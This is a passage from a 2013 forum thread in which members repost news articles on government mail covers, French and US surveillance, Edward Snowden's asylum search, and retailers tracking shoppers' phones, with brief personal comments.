“It’s a treasure trove of information,” said James J. Wedick, a former F.B.I. agent who spent 34 years at the agency and who said he used mail covers in a number of investigations, including one that led to the prosecution of several elected officials in California on corruption charges. “Looking at just the outside of letters and other mail, I can see who you bank with, who you communicate with — all kinds of useful information that gives investigators leads that they can then follow up on with a subpoena.”

But, he said: “It can be easily abused because it’s so easy to use and you don’t have to go through a judge to get the information. You just fill out a form.”
For mail cover requests, law enforcement agencies simply submit a letter to the Postal Service, which can grant or deny a request without judicial review. Law enforcement officials say the Postal Service rarely denies a request. In other government surveillance program, such as wiretaps, a federal judge must sign off on the requests.

The mail cover surveillance requests are granted for about 30 days, and can be extended for up to 120 days. There are two kinds of mail covers: those related to criminal activity and those requested to protect national security. The criminal activity requests average 15,000 to 20,000 per year, said law enforcement officials who spoke on the condition of anonymity because they are prohibited by law from discussing the requests. The number of requests for antiterrorism mail covers has not been made public.

Law enforcement officials need warrants to open the mail, although President George W. Bush asserted in a signing statement in 2007 that the federal government had the authority to open mail without warrants in emergencies or foreign intelligence cases.

Court challenges to mail covers have generally failed because judges have ruled that there is no reasonable expectation of privacy for information contained on the outside of a letter. Officials in both the George W. Bush and Obama administrations, in fact, have used the mail-cover court rulings to justify the N.S.A.’s surveillance programs, saying the electronic monitoring amounts to the same thing as a mail cover. Congress briefly conducted hearings on mail cover programs in 1976, but has not revisited the issue.

The program has led to sporadic reports of abuse. In May 2012, Mary Rose Wilcox, a Maricopa County supervisor, was awarded nearly $1 million by a federal judge after winning a lawsuit against Sheriff Joe Arpaio, known for his immigration raids in Arizona, who, among other things, obtained mail covers from the Postal Service to track her mail. The judge called the investigation into Ms. Wilcox politically motivated because she had been a frequent critic of Mr. Arpaio, objecting to what she considered the targeting of Hispanics in his immigration sweeps. The case is being appealed.

In the mid-1970s the Church Committee, a Senate panel that documented C.I.A. abuses, faulted a program created in the 1950s in New York that used mail covers to trace and sometimes open mail going to the Soviet Union from the United States.

A suit brought in 1973 by a high school student in New Jersey, whose letter to the Socialist Workers Party was traced by the F.B.I. as part of an investigation into the group, led to a rebuke from a federal judge.

Postal officials refused to discuss either mail covers or the Mail Isolation Control and Tracking program.

Mr. Pickering says he suspects that the F.B.I. requested the mail cover to monitor his mail because a former associate said the bureau had called with questions about him. Last month, he filed a lawsuit against the Postal Service, the F.B.I. and other agencies, saying they were improperly withholding information.

A spokeswoman for the F.B.I. in Buffalo declined to comment.

Mr. Pickering said that although he was arrested two dozen times for acts of civil disobedience and convicted of a handful of misdemeanors, he was never involved in the arson attacks the Earth Liberation Front carried out. He said he became tired of focusing only on environmental activism and moved back to Buffalo to finish college, open his bookstore, Burning Books, and start a family.

“I’m no terrorist,” he said. “I’m an activist.”

Mr. Pickering has written books sympathetic to the liberation front, but he said his political views and past association should not make him the target of a federal investigation. “I’m just a guy who runs a bookstore and has a wife and a kid,” he said.
Title: Re: they know what you are doing
Post by: sky otter on July 06, 2013, 09:25:16 am


another country heard from...i wonder if there are any gub's
that aren't spying on the peoples..


France Intelligence Agency Spies On Phone Calls, Emails, Social Media Activity: Report
Reuters  |  Posted: 07/04/2013 10:16 am EDT  |  Updated: 07/05/2013 12:20 pm EDT

 PARIS, July 4 (Reuters) - France's external intelligence agency spies on the French public's phone calls, emails and social media activity in France and abroad, the daily Le Monde said on Thursday.

It said the DGSE intercepted signals from computers and telephones in France, and between France and other countries, although not the content of phone calls, to create a map of "who is talking to whom". It said the activity was illegal.

"All of our communications are spied on," wrote Le Monde, which based its report on unnamed intelligence sources as well as remarks made publicly by intelligence officials.

"Emails, text messages, telephone records, access to Facebook and Twitter are then stored for years," it said.

The activities described are similar to those carried out by the U.S. National Security Agency, as described in documents leaked by former NSA contractor Edward Snowden.

The documents revealed that the NSA has access to vast amounts of Internet data such as emails, chat rooms and video from large companies such as Facebook and Google, under a programme known as Prism.

They also showed that the U.S. government had gathered so-called metadata - such as the time, duration and numbers called - on all telephone calls carried by service providers such as Verizon.


France's DGSE was not immediately available for comment.

Le Monde said the French national security commission whose job it is to authorise targeted spying, and the parliamentary intelligence committee, had challenged the paper's report and said it worked in accordance with the law. It said the only body that collected communications information was a government agency controlled by the prime minister's office that monitors for security breaches.

Le Monde's report comes amid a storm over media allegations that Washington regularly spies on European citizens and embassies. The allegations, made in the German magazine Der Spiegel, sparked concern from data protection watchdogs and irked European governments just as major transatlantic trade talks are about to start.

Le Monde said France's DGSE was more interested in finding out who was speaking to whom than in combing through the content of private communications. It said the DGSE stored a mass of such metadata in the basement of its Paris headquarters.

France's seven other intelligence services, including domestic secret services and customs and money-laundering watchdogs, have access to the data and can tap into it freely as a means to spot people whose communications seem suspicious, whom they can then track with more intrusive techniques such as phone-tapping, Le Monde wrote.

The Guardian newspaper reported last month that Britain had a similar spying programme on international phone and Internet traffic and was sharing vast quantities of personal information with the American NSA. (Reporting by Natalie Huet; Editing by Catherine Bremer and Kevin Liffey)

http://www.huffingtonpost.com/2013/07/04/france-spying_n_3546226.html?ir=Technology&ref=topbar
Title: Re: they know what you are doing
Post by: sky otter on July 08, 2013, 07:42:23 am
Edward Snowden Encouraged By Russian Official To Accept Venezuela's Offer Of Asylum

By LYNN BERRY 07/07/13 04:05 PM ET EDT 

In this handout photo provided by The Guardian, Edward Snowden speaks during an interview in Hong Kong. (Photo by The Guardian via Getty Images) .112Share195Tweet6Email1383CommentGet World Newsletters:
 
 Subscribe ..Follow:Russia, Venezuela, Edward Snowden Venezuela, National Security Agency, edward snowden, Edward Snowden Nsa, Edward Snowden Russia, nsa, Nsa Surveillance, Surveillance, World News .MOSCOW -- An influential Russian parliament member who often speaks for the Kremlin encouraged NSA leaker Edward Snowden on Sunday to accept Venezuela's offer of asylum.

Alexei Pushkov, who heads the international affairs committee in Russia's parliament, posted a message on Twitter saying: "Venezuela is waiting for an answer from Snowden. This, perhaps, is his last chance to receive political asylum."

Venezuelan Foreign Minister Elias Jaua said Saturday his country hasn't yet been in contact with Snowden, who Russian officials say has been stuck in the transit area of Moscow's Sheremetyevo Airport since arriving on a flight from Hong Kong two weeks ago. He has been unable to travel further because the U.S. annulled his passport.

Jaua said he expects to consult with Russian officials on Monday about Snowden's situation.

Pushkov's comments appeared to indicate that the Kremlin is now anxious to be rid of the former National Security Agency systems analyst, whom the U.S. wants returned to face espionage charges.

There has been no response from the Kremlin or Russian Foreign Ministry to the asylum offer made by Venezuela's President Nicolas Maduro in the early hours of Saturday, Moscow time.

For Snowden to leave for South America, he would need for Venezuela to issue him travel documents and he would need to find a way to get there. The only direct commercial flight from Moscow goes to Havana, Cuba, and Snowden had booked a seat on this flight the day after arriving from Hong Kong, but failed to show up.

The Moscow-Havana flight goes over Europe and the U.S., which could cause complications. Some European countries refused to allow Bolivian President Evo Morales to fly through their airspace on his way home from Moscow last week because of suspicions that Snowden was onboard his plane.

Pushkov joked that if Snowden doesn't find shelter in Venezuela, "he will have to stay and marry Anna Chapman," the redheaded Russian spy who was among 10 sleeper agents deported from the U.S. in 2010. The 31-year-old Chapman proposed to Snowden, who just turned 30, on Twitter last week.


The presidents of Bolivia and Nicaragua also said over the weekend that Snowden was welcome in their countries. Bolivia's foreign minister, David Choquehuanca, said Sunday on state television that his country hasn't yet received a formal petition for asylum from Snowden. Nicaraguan President Daniel Ortega said his country's embassy in Moscow has received Snowden's application and is studying the request.

Snowden has applied for asylum in more than two dozen countries, including Bolivia, Nicaragua and Venezuela, according to WikiLeaks, the secret-spilling website that has been advising him.

U.S. Sen. Robert Menendez, chairman of the Senate Foreign Relations Committee, said he wasn't surprised that those three Latin American nations were offering asylum.

"They like sticking it to the United States," Menendez told NBC's "Meet the Press."

He also mentioned re-examining U.S. trade policies and foreign aid to any country that might take in Snowden.

Brazil's foreign minister said his government is worried by a newspaper report the U.S. has collected data on billions of telephone and email conversations in his country and promised an effort for international protection of Internet privacy.

"The Brazilian government has asked for clarifications" through the U.S. Embassy in Brazil and Brazil's embassy in Washington, Foreign Minister Antonio Patriota said.

The spokesman for the U.S. Embassy in Brazil's capital, Dean Chaves, said diplomats there wouldn't have any comment.

___

Associated Press writers Fabiola Sanchez in Caracas, Venezuela, Carlos Valdez in La Paz, Bolivia, and Jenny Barchfield in Paraty, Brazil, contributed to this report.

http://www.huffingtonpost.com/2013/07/07/edward-snowden-venezuela-russia_n_3558780.html
Title: Re: they know what you are doing
Post by: sky otter on July 10, 2013, 02:54:55 pm


http://www.huffingtonpost.com/2013/07/10/edward-snowden-russia_n_3573844.html

video at link

Michael Calderone                michael.calderone@huffingtonpost.com

  Edward Snowden: Russia, China Did Not Get Any Documents From Me

Posted: 07/10/2013 1:11 pm EDT  |  Updated: 07/10/2013 4:53 pm EDT



NEW YORK -– Former U.S. national security contractor Edward Snowden has refuted media speculation that he provided classified documents to China and Russia, or that those governments seized them.

"I never gave any information to either government, and they never took anything from my laptops," Snowden said in new interviews with Glenn Greenwald, the Guardian columnist who has broken several stories based on documents Snowden obtained and leaked from the National Security Agency.

Snowden’s remarks come after major news outlets promoted anonymous claims suggesting that Chinese and Russian authorities had likely obtained the documents, helping support a narrative that the 30-year-old fugitive committed espionage, rather than simply leaking documents to journalists and a filmmaker in hopes of shedding light on U.S. surveillance practices.

The Huffington Post earlier examined how the U.S. government was building a public case against Snowden through the media by passing along unverifiable or unsubstantiated claims about two instances where national security was supposedly jeopardized by his disclosures.

A half-dozen news outlets -– the Associated Press, Reuters, ABC News, the Washington Post, CNN and the Los Angeles Times –- all published strikingly similar claims from anonymous officials that Snowden’s leaks had prompted terrorists to change the way they communicated.

The officials’ claims about changing tactics were given little scrutiny in the recent slew of articles, which either neglected to mention or played down the fact that al Qaeda in the Arabian Peninsula had reportedly altered its communications back in 2009 because of NSA concerns.

The media was also responsible for widely circulated assumptions that China and Russia had likely seen all of Snowden’s documents while he was in Hong Kong or in a Moscow airport, where he remains while seeking asylum.


“That stuff is gone,” a former senior U.S. intelligence official who served in Russia told the Washington Post on June 24. “I guarantee the Chinese intelligence service got their hands on that right away. If they imaged the hard drives and then returned them to him, well, then the Russians have that stuff now.”

"Given his stay in Hong Kong and the number of days he was there, the assumption has to be everything he had was compromised," an anonymous official told CNN on June 25. The same official also “didn't dismiss the notion that Russia may have done the same thing."

On June 23, The New York Times cited “two western intelligence experts” as saying “they believed that the Chinese government had managed to drain the contents of the four laptops that Mr. Snowden said he brought to Hong Kong.”

Cable news programs also joined in the assumptions about what Snowden, China or Russia may have done. CNN analyst Jeffrey Toobin -- who described Snowden a "grandiose narcissist" in The New Yorker -- suggested the following night on air that Russia would do what’s in its government’s interest, which "presumably includes taking everything in his briefcase and making copies of it."

"Why wouldn't they?" Toobin asked. "They'd be crazy not to."

It’s understandable for journalists to grant anonymity in order to get verifiable information or details that governments, agencies and companies cannot or will not provide publicly. But in granting anonymity to officials and experts to speculate about how Snowden interacted with Chinese and Russian authorities -- without evidence -- the media is amplifying the government’s arguments that he damaged national security, without any accountability.

Greenwald wrote Wednesday that "Snowden's denial is not dispositive and shouldn't be treated as such," but noted that it’s “the only actual evidence on this question thus far.”

Snowden may or may not be telling the full story about his time in Hong Kong or Russia. But without names attached to those claims he handed over intelligence, there's no one to call up to refute him.

Title: Re: they know what you are doing
Post by: sky otter on July 11, 2013, 01:46:02 pm


it's not looking too good for him  in my opinion..

is Snowden Trapped?

http://www.mcclatchydc.com/2013/07/10/196362/trapped-an-air-escape-from-moscow.html#.Ud7ep2Q6XKA
totally copyrighted and no copying ..but very interesting article.

.......................................................


http://www.cnn.com/2013/07/10/world/americas/nsa-snowden-venezuela

Is Snowden ready to take flight? WikiLeaks hints at next moveBy Ed Payne, CNN

updated 6:48 AM EDT, Thu July 11, 2013
(CNN) -- As speculation grows over Edward Snowden's path to freedom, WikiLeaks teased that his "flight of liberty" campaign starts Wednesday, promising further details.

But so far, WikiLeaks has not lived up to the Twitter promise to provide more details. And the questions are piling up.

Is the future of the U.S. intelligence leaker, grounded at Moscow's airport for more than two weeks, no longer up in the air?

Not so fast.

It's unclear whether Snowden has accepted anyone's offer of asylum. And if he has, how does he intend to get there?

Speculation centers on Venezuela, which was the first to offer asylum. With both sides expressing interest, it only appeared to be a matter of time before it is confirmed.

Venezuela extended the asylum offer to Snowden last week, and on Monday President Nicolas Maduro received a formal asylum request from Snowden.

...............................................................


Is Snowden worth the risk? Latin America weighs pros and consBy Catherine E. Shoichet, CNN
updated 2:40 PM EDT, Thu July 11, 2013

http://www.cnn.com/2013/07/11/world/americas/latin-america-snowden-asylum/index.html
CNN) -- It's been days since three Latin American presidents offered to give Edward Snowden a safe place to hide out from U.S. authorities.

But the man who's admitted leaking classified documents about U.S. surveillance programs remains holed up at Moscow's Sheremetyevo International Airport. And the global guessing game over his next steps hasn't stopped.

It's still unclear where Snowden will go, and how he'll get there.

What's the holdup?

Sure, we've heard fiery speeches offering asylum from leftist leaders who are eager to criticize the United States. But supporting Snowden's cause and wanting to make Uncle Sam look bad aren't the only parts of the equation, with so many trade and diplomatic relations hanging in the balance, said Michael Shifter, president of the Inter-American Dialogue think tank in Washington.

"They want to make a point," he said, "but I think they're concerned about suffering the consequences, which I think would be serious. The United States has made that pretty clear."

Here's a look at the pros and cons that leaders are facing in five Latin American nations that are among the 27 countries where Snowden is seeking asylum.

Venezuela

President Nicolas Maduro was the first leader to say he'd give Snowden asylum. Officials have said they're waiting to hear whether Snowden accepts the offer.

Pros:

• Maduro regularly alleges U.S. imperialism, has accused the U.S. government of trying to destabilize his country and even suggested that U.S. officials may have infected late Venezuelan leader Hugo Chavez with the cancer that eventually killed him. Taking in a high-profile fugitive wanted in the United States would give him another platform to criticize the country.

• It's been months since the death of Chavez, who earned major political points at home and a place in the global spotlight with his fierce criticisms of America, including a notorious United Nations General Assembly speech where he called President George W. Bush the devil. Maduro describes himself as Chavez's son. But while he might have the same speechwriters as his predecessor, he doesn't have the same charisma, and it seems like fewer people are listening to his words. Giving Snowden asylum would be politically popular in Venezuela, shoring up support for Maduro among Chavez loyalists.

It also has regional and global implications. "This for Maduro, I think, really provides an opportunity for him to show himself on the world stage as a regional leader, as the true successor of Chavez," said David Smilde, a senior fellow at the Washington Office on Latin America.

Cons:

• Relations with the United States have been slowly thawing since Maduro's election in April. Last month, things were looking up when U.S. Secretary of State John Kerry met with Venezuelan Foreign Minister Elias Jaua. That would change if Venezuela granted asylum to Snowden. "This will clearly freeze the warming of relations with Venezuela," Smilde said.

• Despite years of tense Venezuela-U.S. relations, economic ties between the two countries remain strong. Imports and exports between the United States and Venezuela totaled more than $56 billion last year, according to the U.S. Census Bureau. Venezuela's state-run oil company makes tens of billions of dollars annually from exports to the United States. Venezuela is the United States' fourth-largest supplier of imported crude oil, according to the U.S. Energy Information Administration.

Would offering Snowden asylum put that relationship in jeopardy? It might. But this isn't the first time Venezuela has run afoul of the United States. Smilde argues that in offering Snowden asylum, Maduro gains more than he loses.

"Surely there's going to be legislators in the Senate who are going to want sanctions against Venezuela, but I don't think it's going to get very far," Smilde said.

Shifter says it's unclear whether the benefits are worth the costs.

Bolivia

President Evo Morales says he's furious about what happened last week with his presidential jet, which had to land in Austria after European countries allegedly closed their airspace amid suspicions that Snowden was aboard. Now Morales says he's willing to give Snowden asylum as a "fair protest" of the incident.

Pros:

• Morales has long slammed what he calls U.S. imperialism, kicking out the Drug Enforcement Administration, the U.S. ambassador, and the U.S. Agency for International Development. Accepting Snowden would fall in line with the Bolivian president's argument that his country would be better off without any U.S. interference. And in terms of its relationship with the United States, Bolivia has little goodwill left to lose.

• The United States' trade ties with Bolivia are weaker than its links with other countries in the region. "Bolivia's a country that I think has the least real economic interest with the United States," Shifter said.

Cons:

• Still, there's some economic connection. Exports and imports between the United States and Bolivia totaled more than $2.4 billion last year, according to the U.S. Census Bureau.

• Despite Morales' fierce criticism of European countries and the United States after the plane incident, Shifter said, it's unclear whether he really wants Snowden to come to Bolivia.

Nicaragua

President Daniel Ortega says his country will grant asylum to Snowden "if circumstances permit." Was that a way to sound supportive, but give himself a way out? It's unclear.

Pros:

• Like Maduro and Morales, Ortega is a vocal critic of the United States, and his allegations of U.S. imperialism play well with his supporters.

Cons:

• Business is big for Ortega's government, and it's about to get a lot bigger. Chinese investors and Nicaraguan leaders have just signed a deal to build a $40 billion canal through the country. Does that mean Nicaragua is now looking East but not West when it comes to business? Quite the opposite, Shifter said. "I think the canal project is another factor that makes them even more interested in staying on the good side of the United States," he said.

• That's not all. Exports and imports between the United States and Nicaragua totaled more than $3.8 billion last year, according to the U.S. Census Bureau. And Nicaragua gets trade preferences from the United States. As concerns about Snowden from business leaders mount, they won't fall on deaf ears with Ortega, Shifter said. "Ortega has good relations with the business community in Nicaragua. He's somebody that I think also has a pragmatic streak in him," Shifter said. "Rhetorically, at times, he's confrontational, but behind the scenes, he's making deals."

Ecuador

Snowden set his sights on Ecuador with his first asylum request after leaving Hong Kong on June 23. President Rafael Correa railed against the United States in fiery speeches over the issue earlier this month. But the government has said it's still weighing the request, but can't act until Snowden's in Ecuadorian territory. Some speculate that the delay in getting a clear response from Ecuador is what inspired Snowden to apply for asylum in dozens more countries.

Pros:

• Ecuador granted asylum to WikiLeaks founder Julian Assange last year, and has touted the decision as a clear sign that the South American nation is a defender of human rights. Giving Snowden asylum would give officials another platform to make that case.

• Defiant authorities in Ecuador said last month that they wouldn't bow to U.S. pressure in Snowden's case, vowing to reject trade benefits so U.S. officials couldn't manipulate them.

Cons:

• When Ecuadorian officials said they didn't need U.S. trade preferences, business leaders issued a swift response: Not so fast.

And with about half of Ecuador's exports heading to the United States and trade between the two nations totaling more than $16 billion last year, Correa probably will weigh their comments carefully, Shifter said. "Correa is a guy who on the one hand, he's very defiant of the United States and wants to be the rhetorical leader of the left in Latin America," Shifter said. "On the other hand, he's got a very broad coalition in Ecuador and is trying to be more pragmatic and attract foreign investment."

• After speaking with U.S. Vice President Joe Biden last month, Correa adopted a more measured tone. "We have to act very carefully but with courage," he said, "without contradicting our principles but with a lot of care, responsibility and respect, of course, towards the U.S. but also respect for the truth."

Cuba

President Raul Castro hasn't shied away from talking about the Snowden case. He's hailed the former National Security Agency contractor's revelations and stressed that he supports fellow Latin American countries' right to grant Snowden asylum. But there are two key things he hasn't said: whether Cuba will grant asylum to Snowden and whether he'd allow a plane carrying the U.S. intelligence leaker to make a stopover in Cuba on the way to South America.

Pros:

• Decades of hostile relations between the United States and Cuba and a tough economic embargo could mean that Cuba would have less to lose than other Latin American nations when it comes to granting asylum. With so many sanctions in place, said Philip Peters, president of the Cuba Research Center in Washington, "I don't know what more the United States could add."

• Official media in Cuba have painted Snowden as a hero. Cuba could decide to step in, Shifter said, "if there's an issue where it would have to do with Latin American pride and dignity and sovereignty."

• While granting Snowden asylum might be a step too far, letting a connecting flight carrying him land in Cuba might be an option. "I think there's a measure of risk in that for Cuba, but it may be OK if he doesn't stay there, if they're facilitating it as a transit stop," Shifter said. "But I think it would make them uneasy."

Cons:

• There are signs that Washington's relationship with Havana is improving, such as a recent agreement to hold talks over bringing back direct mail between the two nations. And Cuba is hopeful about more developments in U.S. President Barack Obama's second term.

"I think that maybe Cuba does not want to complicate this process and risk the advances that have been made recently," Peters told CNN en Español. "I would guess that Cuba does not have an interest in receiving this man, and does not want to complicate the relationship with Washington. Even though it isn't a very good relationship, it is a relationship that has gotten a little better in recent months."

CNN's Mariano Castillo, Patrick Oppmann and Patricia Janiot and journalist Samantha Lugo contributed to this report.
Title: Re: they know what you are doing
Post by: sky otter on July 12, 2013, 05:44:23 am

ohhhhhhhh poor baby.. i wonder if he can spell naive...


http://worldnews.nbcnews.com/_news/2013/07/12/19430597-nsa-leaker-edward-snowden-accuses-us-of-threatening-behavior-plans-to-meet-rights-groups




NSA leaker Edward Snowden accuses US of 'threatening behavior,' plans to meet rights groups


The NSA leaker is reportedly planning to meet with human rights groups in Moscow today, and there is a possibility he may accept asylum there, despite withdrawing his petition after Putin said he would be required to stop sharing secrets. NBC's Michelle Kosinski reports.

By Jim Maceda and Alastair Jamieson, NBC News
MOSCOW -- Fugitive Edward Snowden accused U.S. officials of “threatening behavior” and waging “an unlawful campaign” against his attempts to seek asylum on Friday.

The self-declared leaker of classified NSA documents made the comments in an open letter given to human rights groups in Moscow, where he is believed to be holed up in the transit zone of Sheremetyevo Airport.

One of the groups, Amnesty International, confirmed it had received an invitation to meet Snowden privately later Friday.

Snowden, wanted by Washington on espionage charges, flew to Moscow from Hong Kong on June 23, and is not believed to have left the airport transit area despite offers of asylum from three countries.

“I have been extremely fortunate to enjoy and accept many offers of support and asylum from brave countries around the world,” Snowden wrote in the letter. “These nations have my gratitude, and I hope to travel to each of them to extend my personal thanks to their people and leaders.

“By refusing to compromise their principles in the face of intimidation, they have earned the respect of the world. Unfortunately, in recent weeks we have witnessed an unlawful campaign by officials in the U.S. government to deny my right to seek and enjoy this asylum under Article 14 of the Universal Declaration of Human Rights

It's believed NSA leaker Edward Snowden is holed up inside this hotel at Moscow's Sheremetyevo airport. NBC's Jim Maceda reports.
“The scale of threatening behavior is without precedent: never before in history have states conspired to force to the ground a sovereign president's plane to effect a search for a political refugee," he added, referring to the grounding of Bolivian President Evo Morales' jet in Austria last week amid suspicions that the leaker was on board.

“This dangerous escalation represents a threat not just to the dignity of Latin America or my own personal security, but to the basic right shared by every living person to live free from persecution,” Snowden said.

Russia news agency Interfax reported that Human Rights Watch and Transparency International were also invited by Snowden to Friday’s meeting. It was not immediately clear how the groups would meet Snowden inside the transit zone.

Amnesty International last week called on the U.S. not to "persecute" Snowden by pressuring other countries into handing him over to authorities.

"Yes, I have received a brief email. It said that he would like to meet with a representative of a human rights organization - there was not much information there. I'm planning to go," Sergei Nikitin, the head of Amnesty International Russia, told Reuters.

Russia has already indicated it would like Snowden to accept one of the asylum offers and leave the airport as soon as possible. Experts say it is possible Snowden could refuse all the offers and formally enter Russia, creating a potential diplomatic headache for Putin who would have to choose whether to hand the leaker over to U.S. prosecutors.

 
A crowd of reporters in Cuba greeted an Aeroflot flight from Moscow on Thursday after its flight path appeared to avoid U.S. airspace, prompting speculation Snowden was on board, en route to Venezuela.

However, airline officials later confirmed Snowden had not been on the flight.

Speculation over the flight's potential passenger coincided with a visit to Cuba by 20 international journalists, who had been invited to see the country's economic reforms and rushed to the airport.

"It was a normal flight," one male crew member told reporters as he pushed past the cameras.

CNBC's Justin Solomon and Reuters contributed to this report.

Title: Re: they know what you are doing
Post by: deuem on July 12, 2013, 08:57:08 am
After reading that I need a break
 
(http://i1198.photobucket.com/albums/aa458/deuem/OhNoGif.gif) (http://s1198.photobucket.com/user/deuem/media/OhNoGif.gif.html)
Title: Re: they know what you are doing
Post by: Somamech on July 12, 2013, 12:04:58 pm
One of my few story's I have been consistent with is that Telstra have been a pivotal part in this Spying/data collection here in Australia well before Snowden said so :D


Telstra storing data on behalf of US government


SOURCE:

http://www.theage.com.au/it-pro/security-it/telstra-storing-data-on-behalf-of-us-government-20130712-hv0w4.html
Title: Re: they know what you are doing
Post by: starwarp2000 on July 12, 2013, 12:20:18 pm
Yes, you are spot on Soma!

http://delimiter.com.au/2013/06/13/australia-gets-deluge-of-data-from-prism-claims-fairfax/ (http://delimiter.com.au/2013/06/13/australia-gets-deluge-of-data-from-prism-claims-fairfax/)

http://delimiter.com.au/2013/06/12/attorney-general-rejects-metadata-warrants-law-enforcement-would-grind-to-a-halt/ (http://delimiter.com.au/2013/06/12/attorney-general-rejects-metadata-warrants-law-enforcement-would-grind-to-a-halt/)

Title: Re: they know what you are doing
Post by: Somamech on July 12, 2013, 12:31:01 pm
You too Starwarper ;)

But no-one listen's to us :D

Title: Re: they know what you are doing
Post by: sky otter on July 15, 2013, 08:31:53 pm


do you think there is anyone NOT spying on us?....sigh




http://www.nytimes.com/2013/07/15/business/attention-shopper-stores-are-tracking-your-cell.html?pagewanted=all&_r=1&

Attention, Shoppers: Store Is Tracking Your Cell

Like dozens of other brick-and-mortar retailers, Nordstrom wanted to learn more about its customers — how many came through the doors, how many were repeat visitors — the kind of information that e-commerce sites like Amazon have in spades. So last fall the company started testing new technology that allowed it to track customers’ movements by following the Wi-Fi signals from their smartphones.

 
Tina Fineberg for The New York Times
Shelley Kohan, a vice president for RetailNext, with her company’s customer-tracking system, which employs video cameras.

But when Nordstrom posted a sign telling customers it was tracking them, shoppers were unnerved. Ya think?

“We did hear some complaints,” said Tara Darrow, a spokeswoman for the store. Nordstrom ended the experiment in May, she said, in part because of the comments.

Nordstrom’s experiment is part of a movement by retailers to gather data about in-store shoppers’ behavior and moods, using video surveillance and signals from their cellphones and apps to learn information as varied as their sex, how many minutes they spend in the candy aisle and how long they look at merchandise before buying it.

All sorts of retailers — including national chains, like Family Dollar, Cabela’s and Mothercare, a British company, and specialty stores like Benetton and Warby Parker — are testing these technologies and using them to decide on matters like changing store layouts and offering customized coupons.

But while consumers seem to have no problem with cookies, profiles and other online tools that let e-commerce sites know who they are and how they shop, some bristle at the physical version, at a time when government surveillance — of telephone calls, Internet activity and Postal Service deliveries — is front and center because of the leaks by Edward J. Snowden.

“Way over the line,” one consumer posted to Facebook in response to a local news story about Nordstrom’s efforts at some of its stores. Nordstrom says the counts were made anonymous. Technology specialists, though, say the tracking is worrisome.

“The idea that you’re being stalked in a store is, I think, a bit creepy, as opposed to, it’s only a cookie — they don’t really know who I am,” said Robert Plant, a computer information systems professor at the University of Miami School of Business Administration, noting that consumers can rarely control or have access to this data.

Some consumers wonder how the information is used.

“The creepy thing isn’t the privacy violation, it’s how much they can infer,” said Bradley Voytek, a neuroscientist who had stopped in at Philz Coffee in Berkeley, Calif. Philz uses technology from Euclid Analytics, of Palo Alto, Calif., the company that worked on the Nordstrom experiment, to measure the signals between a smartphone and a Wi-Fi antenna to count how many people walk by a store and how many enter.

Still, physical retailers argue that they are doing nothing more than what is routinely done online.

“Brick-and-mortar stores have been disadvantaged compared with online retailers, which get people’s digital crumbs,” said Guido Jouret, the head of Cisco’s emerging technologies group, which supplies tracking cameras to stores. Why, Mr. Jouret asked, should physical stores not “be able to tell if someone who didn’t buy was put off by prices, or was just coming in from the cold?” The companies that provide this technology offer a wide range of services.

One, RetailNext, uses video footage to study how shoppers navigate, determining, say, that men spend only one minute in the coat department, which may help a store streamline its men’s outerwear layout. It also differentiates men from women, and children from adults.

RetailNext, based in San Jose, Calif., adds data from shoppers’ smartphones to deduce even more specific patterns. If a shopper’s phone is set to look for Wi-Fi networks, a store that offers Wi-Fi can pinpoint where the shopper is in the store, within a 10-foot radius, even if the shopper does not connect to the network, said Tim Callan, RetailNext’s chief marketing officer.

The store can also recognize returning shoppers, because mobile devices send unique identification codes when they search for networks. That means stores can now tell how repeat customers behave and the average time between visits.

RetailNext also uses data to map customers’ paths; perhaps the shopper is 70 percent likely to go right immediately, or 14 percent likely to linger at a display, Mr. Callan said.

Brickstream uses video information to watch shoppers. The company, based near Atlanta, sells a $1,500 stereoscopic camera that separates adults from children, and counts people in different parts of a store to determine which aisles are popular and how many cash registers to open.

“Watching where people go in a store is like watching how they looked at a second or third Web page” on an online retailer, said Ralph Crabtree, Brickstream’s chief technical officer.

Cameras have become so sophisticated, with sharper lenses and data-processing, that companies can analyze what shoppers are looking at, and even what their mood is.

For example, Realeyes, based in London, which analyzes facial cues for responses to online ads, monitors shoppers’ so-called happiness levels in stores and their reactions at the register. Synqera, a start-up in St. Petersburg, Russia, is selling software for checkout devices or computers that tailors marketing messages to a customer’s gender, age and mood, measured by facial recognition.

“If you are an angry man of 30, and it is Friday evening, it may offer you a bottle of whiskey,” said Ekaterina Savchenko, the company’s head of marketing.

Nomi, of New York, uses Wi-Fi to track customers’ behavior in a store, but goes one step further by matching a phone with an individual.

When a shopper has volunteered some personal information, either by downloading a retailer’s app or providing an e-mail address when using in-store Wi-Fi, Nomi pulls up a profile of that customer — the number of recent visits, what products that customer was looking at on the Web site last night, purchase history. The store then has access to that profile.

“I walk into Macy’s, Macy’s knows that I just entered the store, and they’re able to give me a personalized recommendation through my phone the moment I enter the store,” said Corey Capasso, Nomi’s president. “It’s literally bringing the Amazon experience into the store.”

Nomi then uses Wi-Fi signals to follow the customer throughout the store, adding to the information it maintains. “If I’m going and spending 20 minutes in the shoe section, that means I’m highly interested in buying a pair of shoes,” Mr. Capasso said, and the store might send a coupon for sneakers.

If these methods seem intrusive, at least some consumers seem happy to trade privacy for deals. Placed, a company based in Seattle, has an app that asks consumers where they are in a store in exchange for cash and prepaid gift cards from Amazon and Google Play, among others. More than 500,000 people have downloaded the app since last August, said a company spokeswoman, Sarah Radwanick, providing information like gender, age and income, and agreeing to be tracked over GPS, Wi-Fi and cellular networks. Placed then sells the data to store owners, online retailers and app developers.

“I would just love it if a coupon pops up on my phone,” said Linda Vertlieb, 30, a blogger in Philadelphia, who said that she was not aware of the tracking methods, but that the idea did not bother her. Stores are “trying to sell, so that makes sense,” she said.


A version of this article appeared in print on July 15, 2013, on page A1 of the New York edition with the headline: Attention, Shoppers: Store Is Tracking Your Cell.
Title: Re: they know what you are doing
Post by: sky otter on July 16, 2013, 10:08:39 am


ok.. this is interesting..
I was reading this article

North Korean ship carrying hidden 'missile equipment' detained after leaving Cuba
http://worldnews.nbcnews.com/_news/2013/07/16/19497159-north-korean-ship-carrying-hidden-missile-equipment-detained-after-leaving-cuba?lite=

when I got to this sentence  I was curious so looked up lloyd’s

The Lloyd’s List Intelligence service tracks ships’ movements via satellite and Meade said its "reporting service has flagged up the fact it was arrested.”




and got this..lol..very clever cookie policy they have

http://www.lloydslistintelligence.com/llint/index.htm

Our Cookie policy

In order to deliver a personalised, responsive service and to improve the site, we remember and store information about how you use it. This is done using simple text files called cookies which sit on your computer.

By continuing to use this site and access its features, you are consenting to our use of cookies. To find out more about the way lloydslistintelligence.com uses cookies please go to our Cookies page.

Close  

